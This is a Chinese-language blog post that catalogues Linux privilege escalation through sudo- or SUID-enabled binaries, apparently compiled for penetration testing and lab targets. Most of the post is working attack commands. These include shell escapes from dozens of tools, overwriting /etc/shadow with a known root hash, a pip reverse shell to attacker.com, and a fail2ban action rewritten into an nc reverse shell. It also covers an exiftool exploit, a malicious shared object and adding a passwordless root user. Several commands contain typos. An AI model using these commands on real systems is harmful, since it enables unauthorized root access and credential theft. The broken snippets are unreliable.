Linux命令提权汇总

参考内容:

Linux提权之Sudo 70种提权方法 - 简单安全 (huangmj.com)

GTFOBins

查询命令

常见的可以利用sudo提权的命令

nmap, vim, vi, nano, bash, less, more, cp, find, git, wget, cat, apt, zip, xxd, time, taskset, sed, pip, ed, tmux, scp, perl, awk, man, env, ftp, apache2, ash, base64, cpulimit, curl, date, dd, dstat, exiftool, fail2ban, flock, gcc, gdb, gzip, gunzip, hping3, iftop, java, jjs, journalctl, knife, mount, mysql, neofetch, nice, node, nohup, openvpn, passwd, php, pico, pkexec, python3, rvim, scp, screen, script, service, socat, ssh, ssh-keygen, strace, systemctl, tcpdump, tee, timedatectl, wall, watch, expect, exim4,teehee

可以通过以下命令查询相应用户是否可执行上述命令

1
2
3
compgen -c | grep -E -x "nmap|vim|vi|nano|bash|less|more|cp|find|git|wget|cat|apt|zip|xxd|time|taskset|sed|pip|ed|tmux|scp|perl|awk|man|env|ftp|apache2|ash|base64|cpulimit|curl|date|dd|dstat|exiftool|fail2ban|flock|gcc|gdb|gzip|gunzip|hping3|iftop|java|jjs|journalctl|knife|mount|mysql|neofetch|nice|node|nohup|openvpn|passwd|php|pico|pkexec|python3|rvim|scp|screen|script|service|socat|ssh|ssh-keygen|strace|systemctl|tcpdump|tee|timedatectl|wall|watch|expect|exim4|teehee"
find / -perm -u=s -type f 2>/dev/null
sudo -l

nmap

  • 旧版本通过进入交互提权
1
2
nmap --interactive	#启动交互模式
!sh
  • 新版本通过在tmp目录写脚本执行提权
1
2
echo 'os.execute("/bin/sh")' >/tmp/.123
sudo nmap --script=/tmp/.123

vim or vi

如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。

通过使用vim来打开任意一个文件,然后单击一次Esc进行命令模式,输入:set shell=/bin/sh,在输入:shell,即可提权

1
2
3
4
vim any.txt
#Press Esc key
:set shell=/bin/sh
:shell

nano

使用nano随便打开一个文件,通过ctrl+x执行命令,并输入reset;bash 1>&0 2>&0执行命令即可提权;

1
2
3
4
nano any.txt
ctrl+x
reset;bash 1>&0 2>&0
# 回车

bash

直接执行命令即可;

1
2
bash -p
sudo bash

less or more

1
2
3
less /etc/passwd
more /etc/passed
!/bin/sh

cp

通过使用kali生成明文密码的hash,通过使用下方命令加密一段明文

1
mkpasswd -m sha-512 admin	# $6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1

参考/etc/shadow文件中root用户的hash值保存起来到一个文件中

1
2
3
4
5
6
7
8
vim root_shadow
# 输入root:$6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1:19850:0:99999:7:::
Redshadow=/etc/shadow
TF=$(mktemp)
echo 'root:$6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1:19850:0:99999:7:::' > $TF
echo &TF #/tmp/tmp.***
cp $Redshadow bark_shadow #备份shadow文件
cp $TF $Redshadow

注意:这个操作是有损的,最后靶机shadow文件中只有这一行,如果不进行备份,在实际攻防中优先级是排后的

最后通过修改的root密码通过su命令登录root用户即可

find

1
find / -exec /bin/bash \; -quit

git

1
2
git branch --help
!/bin/bash

wget

1
2
3
4
RedShell=$(mktemp)
chmod +x $RedShell
echo -e '#!/bin/bash\n/bin/bash 1>&0' > $RedShell
wget --use-askpass=$RedShell 0

cat

1
2
RedShell=/etc/shadow
cat "$RedShell"

可以查看到shadow中root用户加密后的密码,可以通过hashcat进行破解,需要直接加密方法;

apt

1
apt update -o APT::Update::Pre-Invoke::=/bin/bash

zip

1
2
touch 1.txt
zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"

xxd

1
2
xxd /etc/shadow | xxd -r	#获得加密后的root密码值,通过爆破获取密码
john root_pw.hash --wordlist=/usr/share/wordlists/rockyou.txt

time

1
time /bin/bash -p

taskset

1
taskset 1 /bin/bash -p

sed

1
sed -n '1e exec bash 1>&0' /etc/hosts

pip

参考链接:果仁 | go away垃圾箱 (gtfobins.github.io)

  1. 提权
1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF
  1. 反弹shell
1
2
3
4
5
6
7
8
export RHOST=attacker.com
export RPORT=12345
TF=$(mktemp -d)
echo 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' > $TF/setup.py
pip install $TF

ed

1
2
ed
!/bin/bash

tmux

1
tmux

直接执行即可,因为它本身就是通过启动新的shell实现端口复用的

scp

1
2
3
4
RedShell=$(mktemep)
echo 'bash 0<&2 1<&2' > $RedShell
chmod +x "$RedShell"
scp -S &RedShell x y;

perl

1
perl -e 'exec "/bin/bash";'

awk

1
awk 'BEGIN {system("/bin/bash")}'

man

1
2
man ls
!/bin/bash

env

1
sudo env /bin/bash

ftp

1
2
ftp
!/bin/bash

apache2

1
apache2 -f /etc/shadow

通过报错获取root用户的加密密码,在通过john破解获得root的密码进行登录

ash

1
2
3
ash
whoami
bash

base64

1
2
RedShell=/etc/shadow
base64 "$RedShell" | base64 -d

cpulimit

1
cpulimit -l 100 -f /bin/bash

curl

通过使用kali生成明文密码的hash,通过使用下方命令加密一段明文

1
mkpasswd -m sha-512 admin	# $6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1

参考/etc/shadow文件中root用户的hash值保存起来到一个文件中

1
2
vim root_shadow
# 输入root:$6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1:19850:0:99999:7:::

将我们写好用户名密码的文件部署到服务器上,然后通过curl命令进行下载覆盖掉机器中的/etc/shadow

1
curl http:/192.168.31.221/root_shadow -o /etc/shadow

date

1
date -f /etc/shadow

通过报错获取root用户的加密密码,在通过john破解获得root的密码进行登录

dd

通过使用kali生成明文密码的hash,通过使用下方命令加密一段明文

1
mkpasswd -m sha-512 admin	# $6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1

参考/etc/shadow文件中root用户的hash值保存起来到一个文件中

1
2
3
vim root_shadow
# 输入root:$6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1:19850:0:99999:7:::
echo 'root:$6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1:19850:0:99999:7:::' | dd of=/etc/shadow

dstat

先构建一个以dstat_为前缀的python文件,如dstat_redshell.py,然后再里面写入import os;os.execv("/bin/bash",["bash"])

1
2
3
4
vim dstat_redshell.py
# 写入import os;os.execv("/bin/bash",["bash"])
cp dstat_redshell.py /usr/share/dstat/
sudo dstat --redshell

exiftool

要求exiftool版本:7.44-12.23

1
exiftool -ver

编写一个payload

1
2
3
4
5
touch payload
echo '(metadata "\c${system('/bin/bash')};")' > payload
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
exiftool exploit.djvu

expect

1
expect -c "spawn /bin/bash;interact"

fail2ban

条件:
fail2ban用来反复登陆ssh登陆超过几次,或者在指定时间内登陆超过几次就禁止访问,IP封掉,是一个防御的工具
img
利用流程:
查找fail2ban的目录
再次查找fail2ban的配置中action目录中是否可写
-writable 可写
img

看一下fail2ban配置文件
img
img
也就是说在这个时间段内,如果你尝试了5次都失败了,就会被ban掉,ban掉这个行为就是在action.d脚本目录中进行规定
看能否定义action的行为
img
这个文件中决定了尝试次数,在短时间内触发了ban这个行为的时候,怎么处置
查看得知这个文件是root用户root组,不可写
通过mv移动文件和cp复制文件的方式进行替换用户权限
img
现在就可以执行修改了,修改如果ban被触发时,执行的命令
修改成我们提取的逻辑
rm /tmp/f 删除临时文件夹的这个文件
mkfifo 做一个隧道,用“|”指定到bash
-i 指定交互性 2>&1 错误重定向输出
nc 10.10.10.10 9595 用nc反弹监听9595端口
> /tmp/f 重定向到/tmp/f,形成闭环
img
重启fail2ban
img
回到kali多次登陆,看能否触发ban规则,规则就是我们写的提权逻辑
img
看到已经收到了反弹shall,命令提示符中有#号
img

flock

1
flock -u / /bin/bash

gcc

1
sudo gcc -wrapper /bin/bash,-s .

gdb

1
gdb -nx -ex '!bash' -ex quit

gzip/gunzip

1
gzip -f /etc/shadow -t

获取得到shadow中root用户加密的密码后进行爆破获取密码;

hping3

1
2
hping3
/bin/bash

iftop

1
2
3
iftop
!
/bin/bash

java

可以实现,去查查资料,这里不写

jjs

可以实现,去查查资料,这里不写

journalctl

1
2
journalct
!/bin/bash

knife

1
knife exec -E 'exec "/bin/bash"'

mount

1
mount -o bind /bin/bash /usr/bin/mount

mysql

1
mysql -e '\! /bin/bash'

neofetch

1
2
3
redshell=#(mktemp)
echo 'exec /bin/bash' > $redshell
neofetch --config $redshell

nice

1
nice /bin/bash

node

1
node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"

nohup

1
nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

openvpn

1
openvpn --config /etc/shadow

获取得到shadow中root用户加密的密码后进行爆破获取密码;

passwd

1
passwd root

具有passwd的root权限直接修改root用户的密码即可

php

1
php -r "system('/bin/bash');"

pico

使用pico随便打开一个文件,通过ctrl+x执行命令,并输入reset;bash 1>&0 2>&0执行命令即可提权;

1
2
3
4
nano any.txt
ctrl+x
reset;bash 1>&0 2>&0
# 回车

pkexec

1
pkexec /bin/bash

python3

1
pyhton3 -c "import os;os.system('/bin/bash')"

rvim

1
rvim -c ':python import os; os.execl("/bin/bash", "bash", "-c", "reset;exec bash")'

screen

和tmux原理相同,直接执行“screen”命令即可

script

1
script -q /dev/null

service

1
service ../../bin/bash

socat

1
socat stdin exec:/bin/bash

ssh

1
ssh -o ProxyCommand=';bash 0<&2 1>&2' x

ssh-keygen

首先编写一个C语言程序redshell.c

1
2
3
4
5
6
7
8
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
static void inject()__attribute__((construtor));
void inject(){
setuid(0);
system("/bin/bash -p");
}
1
2
3
gcc -share -fPIC -o redshell.so redshell.c
ls -liah redshell.so
ssh-keygen -D ./redshell.so

strace

1
strace -o /dev/null /bin/bash

systemctl

1
2
systemctl
!/bin/bash

tcpdump

碰到再总结,这个确实能行

tee

碰到再总结,这个确实能行

timedatectl

1
2
timedatectl list-timezones
!/bin/bash

wall

1
wall --nobanner /etc/shadow

获取到加密的root用户的密码然后爆破

watch

1
watch -x bash -c 'reset; exec bash 1>&0 2>&0'

exim4

版本要求4.87-4.91,检查版本命令exim --version

1
2
searchsploit exim 4
searchsploit -m 46996.sh

将下载到的.sh文件放到服务器上,然后再目标主机通过wget命令下载相应的文件执行即可

注意:目标主机只有有些目录具有访问权限能够下载文件,可以通过ls -l命令进行查询相应文件夹和文件的权限

teehee

1
2
echo "shell::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su shell

Linux命令提权汇总
http://candyb0x.github.io/2024/05/23/Linux命令提权汇总/
作者
Candy
发布于
2024年5月23日
更新于
2024年5月31日
许可协议